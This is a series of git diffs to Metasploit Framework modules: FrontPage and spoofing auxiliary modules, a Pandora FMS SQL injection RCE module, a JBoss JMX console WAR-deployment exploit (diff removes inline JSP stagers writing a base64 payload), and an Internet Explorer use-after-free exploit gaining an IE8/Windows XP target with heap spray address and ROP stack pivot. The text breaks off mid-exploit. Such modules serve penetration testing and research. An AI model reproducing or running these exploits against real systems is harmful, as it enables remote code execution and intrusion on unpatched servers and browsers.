@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
connect
|
connect
|
||||||
|
|
||||||
sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" +
|
sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" +
|
||||||
"Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + "User-Agent: " +
|
"Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " +
|
||||||
datastore['UserAgent'] + "\r\n\r\n")
|
datastore['UserAgent'] + "\r\n\r\n")
|
||||||
|
|
||||||
res = sock.get_once || ''
|
res = sock.get_once || ''
|
||||||
|
@ -95,8 +95,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
method = "method=open+service:#{fpversion}&service_name=/"
|
method = "method=open+service:#{fpversion}&service_name=/"
|
||||||
|
|
||||||
req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" +
|
req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" +
|
||||||
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" +
|
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" +
|
||||||
"User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" +
|
"User-Agent: " + datastore['UserAgent'] + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" +
|
||||||
|
"X-Vermeer-Content-Type: application/x-www-form-urlencoded" + "\r\n" +
|
||||||
"Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n"
|
"Content-Length: #{method.length}\r\n\r\n" + method + "\r\n\r\n"
|
||||||
|
|
||||||
sock.put(req)
|
sock.put(req)
|
||||||
|
|
|
@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
|
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
|
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
|
OptBool.new( 'BROADCAST', [true, 'If set, the module will send replies on the broadcast address witout consideration of DHOSTS', false])
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK')
|
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE','RHOST','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
|
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
|
||||||
], self.class)
|
], self.class)
|
||||||
|
|
||||||
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','UDP_SECRET','GATEWAY','NETMASK')
|
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
|
@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Pandora FMS SQLi Remote Code Execution',
|
'Name' => 'Pandora FMS Default Credential / SQLi Remote Code Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module attempts to exploit multiple issues in order to gain remote
|
This module attempts to exploit multiple issues in order to gain remote
|
||||||
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
|
||||||
|
|
|
@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
if target.name =~ /Automatic/
|
if target.name =~ /Automatic/
|
||||||
mytarget = auto_target
|
mytarget = auto_target(targets)
|
||||||
unless mytarget
|
unless mytarget
|
||||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||||
end
|
end
|
||||||
|
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
|
|
||||||
def auto_target
|
|
||||||
if http_verb == 'HEAD' then
|
|
||||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
|
||||||
else
|
|
||||||
print_status("Attempting to automatically select a target...")
|
|
||||||
res = query_serverinfo
|
|
||||||
if not (plat = detect_platform(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not (arch = detect_architecture(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
||||||
end
|
|
||||||
|
|
||||||
# see if we have a match
|
|
||||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
||||||
end
|
|
||||||
|
|
||||||
# no matching target found, use Java as fallback
|
|
||||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
||||||
return java_targets[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
def query_serverinfo
|
|
||||||
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
|
||||||
res = send_request_raw(
|
|
||||||
{
|
|
||||||
'uri' => path,
|
|
||||||
'method' => http_verb
|
|
||||||
})
|
|
||||||
|
|
||||||
unless res && res.code == 200
|
|
||||||
print_error("Failed: Error requesting #{path}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target platform
|
|
||||||
def detect_platform(res)
|
|
||||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
|
||||||
os = $1
|
|
||||||
if (os =~ /Linux/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /FreeBSD/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /Windows/i)
|
|
||||||
return 'win'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target architecture
|
|
||||||
def detect_architecture(res)
|
|
||||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
|
||||||
arch = $1
|
|
||||||
if (arch =~ /(x86|i386|i686)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
elsif (arch =~ /(x86_64|amd64)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,10 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::HTTP::JBoss
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(8080),
|
Opt::RPORT(8080),
|
||||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
||||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
|
||||||
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
||||||
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
||||||
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
|
||||||
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
||||||
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
||||||
stager_base = rand_text_alpha(8+rand(8))
|
stager_base = rand_text_alpha(8+rand(8))
|
||||||
head_stager_jsp = rand_text_alpha(8+rand(8))
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
stager_jsp = rand_text_alpha(8+rand(8))
|
|
||||||
content_var = rand_text_alpha(8+rand(8))
|
|
||||||
decoded_var = rand_text_alpha(8+rand(8))
|
|
||||||
file_path_var = rand_text_alpha(8+rand(8))
|
|
||||||
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
||||||
fos_var = rand_text_alpha(8+rand(8))
|
|
||||||
bw_var = rand_text_alpha(8+rand(8))
|
|
||||||
|
|
||||||
p = payload
|
p = payload
|
||||||
mytarget = target
|
mytarget = target
|
||||||
|
|
||||||
if (datastore['VERB'] == 'HEAD')
|
if (http_verb == 'HEAD')
|
||||||
print_status("Unable to automatically select a target with HEAD requests")
|
print_status("Unable to automatically select a target with HEAD requests")
|
||||||
else
|
else
|
||||||
if (target.name =~ /Automatic/)
|
if (target.name =~ /Automatic/)
|
||||||
mytarget = auto_target()
|
mytarget = auto_target(targets)
|
||||||
if (not mytarget)
|
if (not mytarget)
|
||||||
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
||||||
end
|
end
|
||||||
|
@ -134,289 +120,69 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}).to_s
|
}).to_s
|
||||||
|
|
||||||
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
||||||
|
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
|
||||||
# The following jsp script will write the stager to the
|
|
||||||
# deploy/management directory. It is only used with HEAD/GET requests
|
|
||||||
# to overcome the size limit in those requests
|
|
||||||
head_stager_jsp_code = <<-EOT
|
|
||||||
<%@page import="java.io.*,
|
|
||||||
java.util.*"
|
|
||||||
%>
|
|
||||||
|
|
||||||
<%
|
|
||||||
|
|
||||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
||||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
|
|
||||||
|
|
||||||
|
|
||||||
if (request.getParameter("#{content_var}") != null) {
|
|
||||||
|
|
||||||
try {
|
|
||||||
String #{content_var} = "";
|
|
||||||
#{content_var} = request.getParameter("#{content_var}");
|
|
||||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
|
||||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
|
||||||
#{bw_var}.write(#{content_var});
|
|
||||||
#{bw_var}.close();
|
|
||||||
}
|
|
||||||
catch(Exception e)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
}
|
|
||||||
%>
|
|
||||||
|
|
||||||
EOT
|
|
||||||
|
|
||||||
# The following jsp script will write the exploded WAR file to the deploy/
|
|
||||||
# directory or try to delete it
|
|
||||||
stager_jsp_code = <<-EOT
|
|
||||||
<%@page import="java.io.*,
|
|
||||||
java.util.*,
|
|
||||||
sun.misc.BASE64Decoder"
|
|
||||||
%>
|
|
||||||
|
|
||||||
<%
|
|
||||||
|
|
||||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
||||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
|
||||||
|
|
||||||
|
|
||||||
try {
|
|
||||||
String #{content_var} = "#{encoded_payload}";
|
|
||||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
|
||||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
|
||||||
#{fos_var}.write(#{decoded_var});
|
|
||||||
#{fos_var}.close();
|
|
||||||
}
|
|
||||||
catch(Exception e)
|
|
||||||
{
|
|
||||||
}
|
|
||||||
%>
|
|
||||||
|
|
||||||
EOT
|
|
||||||
|
|
||||||
# Depending on the type on the verb we might use a second stager
|
# Depending on the type on the verb we might use a second stager
|
||||||
if datastore['VERB'] == "POST" then
|
if http_verb == "POST" then
|
||||||
print_status("Deploying stager for the WAR file")
|
print_status("Deploying stager for the WAR file")
|
||||||
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
|
res = upload_file(stager_base, stager_jsp_name, stager_contents)
|
||||||
else
|
else
|
||||||
print_status("Deploying minimal stager to upload the payload")
|
print_status("Deploying minimal stager to upload the payload")
|
||||||
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
|
head_stager_jsp_name = rand_text_alpha(8+rand(8))
|
||||||
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
|
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
|
||||||
|
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
|
||||||
|
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
|
||||||
|
|
||||||
# We split the stager_jsp_code in multipe junks and transfer on the
|
# We split the stager_jsp_code in multipe junks and transfer on the
|
||||||
# target with multiple requests
|
# target with multiple requests
|
||||||
current_pos = 0
|
current_pos = 0
|
||||||
while current_pos < stager_jsp_code.length
|
while current_pos < stager_contents.length
|
||||||
next_pos = current_pos + 5000 + rand(100)
|
next_pos = current_pos + 5000 + rand(100)
|
||||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
|
||||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||||
res = call_uri_mtimes(head_stager_uri + junk)
|
res = deploy('uri' => head_stager_uri,
|
||||||
|
'vars_get' => vars_get)
|
||||||
current_pos += next_pos
|
current_pos += next_pos
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Call the stager to deploy the payload war file
|
|
||||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||||
# but the file still gets written.
|
# but the file still gets written.
|
||||||
if (res.code == 200 || res.code == 500)
|
unless res && ( res.code == 200 || res.code == 500)
|
||||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
fail_with(Failure::Unknown, "Failed to deploy")
|
||||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
end
|
||||||
stager_res = call_uri_mtimes(stager_uri)
|
|
||||||
|
|
||||||
print_status("Try to call the deployed payload")
|
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||||
# Try to execute the payload by calling the deployed WAR file
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
stager_res = deploy('uri' => stager_uri,
|
||||||
payload_res = call_uri_mtimes(payload_uri)
|
'method' => 'GET')
|
||||||
|
|
||||||
#
|
print_status("Try to call the deployed payload")
|
||||||
# DELETE
|
# Try to execute the payload by calling the deployed WAR file
|
||||||
#
|
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||||
# The WAR can only be removed by physically deleting it, otherwise it
|
payload_res = deploy('uri' => payload_uri)
|
||||||
# will get redeployed after a server restart.
|
|
||||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
#
|
||||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
# DELETE
|
||||||
delete_res = []
|
#
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
# The WAR can only be removed by physically deleting it, otherwise it
|
||||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
# will get redeployed after a server restart.
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||||
delete_res.each do |res|
|
delete_res = []
|
||||||
if !res
|
if head_stager_jsp_name
|
||||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||||
elsif (res.code < 200 || res.code >= 300)
|
end
|
||||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
|
||||||
end
|
delete_res << delete_file('./', stager_base + '.war', '')
|
||||||
|
delete_res << delete_file('./', app_base + '.war', '')
|
||||||
|
delete_res.each do |res|
|
||||||
|
if !res
|
||||||
|
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||||
|
elsif (res.code < 200 || res.code >= 300)
|
||||||
|
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||||
end
|
end
|
||||||
|
|
||||||
handler
|
handler
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# Upload a text file with DeploymentFileRepository.store()
|
|
||||||
def upload_file(base_name, jsp_name, content)
|
|
||||||
data = 'action=invokeOpByName'
|
|
||||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
||||||
data << '&methodName=store'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg1=' + jsp_name
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg2=.jsp'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg3=' + Rex::Text.uri_encode(content)
|
|
||||||
data << '&argType=boolean'
|
|
||||||
data << '&arg4=True'
|
|
||||||
|
|
||||||
if (datastore['VERB'] == "POST")
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
'data' => data
|
|
||||||
}, 5)
|
|
||||||
else
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
}, 30)
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Delete a file with DeploymentFileRepository.remove().
|
|
||||||
def delete_file(folder, name, ext)
|
|
||||||
data = 'action=invokeOpByName'
|
|
||||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
|
||||||
data << '&methodName=remove'
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg0=' + folder
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg1=' + name
|
|
||||||
data << '&argType=java.lang.String'
|
|
||||||
data << '&arg2=' + ext
|
|
||||||
|
|
||||||
if (datastore['VERB'] == "POST")
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
'data' => data
|
|
||||||
}, 5)
|
|
||||||
else
|
|
||||||
res = send_request_cgi(
|
|
||||||
{
|
|
||||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
|
|
||||||
'method' => datastore['VERB'],
|
|
||||||
}, 30)
|
|
||||||
end
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Call the URL multiple times until we have hit
|
|
||||||
def call_uri_mtimes(uri, num_attempts = 5)
|
|
||||||
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
|
||||||
|
|
||||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
||||||
# wait 5 seconds inbetween tries
|
|
||||||
num_attempts.times do |attempt|
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => verb
|
|
||||||
}, 30)
|
|
||||||
|
|
||||||
stripped_uri = uri[0,70] + "..."
|
|
||||||
msg = nil
|
|
||||||
if (!res)
|
|
||||||
msg = "Execution failed on #{stripped_uri} [No Response]"
|
|
||||||
elsif (res.code < 200 or res.code >= 300)
|
|
||||||
msg = "http request failed to #{stripped_uri} [#{res.code}]"
|
|
||||||
elsif (res.code == 200)
|
|
||||||
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
if (attempt < num_attempts - 1)
|
|
||||||
msg << ", retrying in 5 seconds..."
|
|
||||||
print_status(msg) if datastore['VERBOSE']
|
|
||||||
select(nil, nil, nil, 5)
|
|
||||||
else
|
|
||||||
print_error(msg)
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def auto_target
|
|
||||||
print_status("Attempting to automatically select a target...")
|
|
||||||
res = query_serverinfo
|
|
||||||
if not (plat = detect_platform(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not (arch = detect_architecture(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
||||||
end
|
|
||||||
|
|
||||||
# see if we have a match
|
|
||||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
||||||
|
|
||||||
# no matching target found, use Java as fallback
|
|
||||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
||||||
return java_targets[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def query_serverinfo
|
|
||||||
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
|
||||||
res = send_request_raw(
|
|
||||||
{
|
|
||||||
'uri' => path,
|
|
||||||
'method' => datastore['VERB']
|
|
||||||
}, 20)
|
|
||||||
|
|
||||||
if (not res) or (res.code != 200)
|
|
||||||
print_error("Failed: Error requesting #{path}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target platform
|
|
||||||
def detect_platform(res)
|
|
||||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
|
||||||
os = $1
|
|
||||||
if (os =~ /Linux/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /FreeBSD/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /Windows/i)
|
|
||||||
return 'win'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Try to autodetect the target architecture
|
|
||||||
def detect_architecture(res)
|
|
||||||
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
||||||
arch = $1
|
|
||||||
if (arch =~ /(x86|i386|i686)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
elsif (arch =~ /(x86_64|amd64)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
end
|
|
||||||
end
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
Tested on Mavericks 10.9.5, and should work on previous versions.
|
Tested on Mavericks 10.9.5, and should work on previous versions.
|
||||||
|
|
||||||
The issue has been patched silently in Yosemite.
|
The issue was patched silently in Yosemite.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
|
|
@ -38,8 +38,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Unknown', # Exploit in the wild first spotted in Japan
|
'Unknown', # Exploit in the wild first spotted in Japan
|
||||||
'sinn3r' # Metasploit (thx binjo for the heads up!)
|
'sinn3r', # Metasploit (thx binjo for the heads up!)
|
||||||
|
'Rich Lundeen' # IE8 windows xp
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
@ -53,16 +54,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'BrowserRequirements' =>
|
'BrowserRequirements' =>
|
||||||
{
|
{
|
||||||
:source => /script/i,
|
:ua_name => HttpClients::IE,
|
||||||
:os_name => OperatingSystems::WINDOWS,
|
:source => /script/i
|
||||||
:ua_name => HttpClients::IE,
|
|
||||||
:ua_ver => "9.0",
|
|
||||||
:os_flavor => "7",
|
|
||||||
:office => /2007|2010/
|
|
||||||
},
|
},
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', {} ]
|
[ 'Automatic', {} ],
|
||||||
|
[
|
||||||
|
'Windows 7 with Office 2007|2010',
|
||||||
|
{
|
||||||
|
:os_name => 'Windows 7',
|
||||||
|
:ua_ver => "9.0",
|
||||||
|
:office => /2007|2010/
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Windows XP with IE 8',
|
||||||
|
{
|
||||||
|
:os_name => 'Windows XP',
|
||||||
|
:ua_ver => "8.0"
|
||||||
|
}
|
||||||
|
]
|
||||||
],
|
],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
|
@ -116,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
p
|
p
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_exploit_html(cli, target_info)
|
def get_exploit_html_ie9(cli, target_info)
|
||||||
gadgets = {}
|
gadgets = {}
|
||||||
case target_info[:office]
|
case target_info[:office]
|
||||||
when '2007'
|
when '2007'
|
||||||
|
@ -238,9 +250,75 @@ window.onload = function() {
|
||||||
|
|
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_exploit_html_ie8(cli, target_info)
|
||||||
|
code = payload.encoded
|
||||||
|
|
||||||
|
#address containing our heap spray is 0x20302020
|
||||||
|
spray_addr = "\\u2024\\u2030"
|
||||||
|
|
||||||
|
#size to fill after free is 0x50
|
||||||
|
free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2)
|
||||||
|
|
||||||
|
rop = [
|
||||||
|
0x77c3868a, # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ;
|
||||||
|
0x20302020 # pointer to stack pivot
|
||||||
|
].pack("V*")
|
||||||
|
|
||||||
|
rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code
|
||||||
|
|
||||||
|
js_rop = Rex::Text.to_unescape(rop)
|
||||||
|
|
||||||
|
%Q|
